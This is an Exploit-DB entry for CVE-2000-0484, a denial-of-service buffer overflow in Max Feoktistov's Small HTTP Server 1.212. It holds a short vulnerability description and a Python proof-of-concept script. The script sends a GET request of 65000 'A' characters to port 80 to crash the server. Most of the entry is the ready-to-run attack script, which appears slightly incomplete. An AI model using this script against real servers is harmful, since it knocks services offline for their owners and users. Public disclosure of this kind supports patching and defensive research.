Max Feoktistov Small HTTP server 1.212 - Buffer Overflow

ID EDB-ID:20017
Type exploitdb
Reporter Ussr Labs
Modified 2000-06-16T00:00:00


Max Feoktistov Small HTTP server 1.212 Buffer Overflow. CVE-2000-0484. Dos exploit for windows platform


A buffer overflow is present in certain versions of the Small HTTP Server . The overflow in question is triggered by an overlong (65000 or more characters) malformed HTTP GET request to the webserver. 
# Small HTTP Server DoS Proof of Concept Code.                        
# Vulnerability Discovered by USSR Labs(      
# Simple Script by Prizm(                        
# By connecting to port 80(http) on a system running Small HTTP Server
and issuing a GET                                                     
# command followed by 65000 bytes, the service will crash.            
# This *simple* little script will cause http.exe to crash.           
import httplib                                                        
h = httplib.HTTP('') #replace x's with ip              
h.putrequest('GET', 'A' * 65000)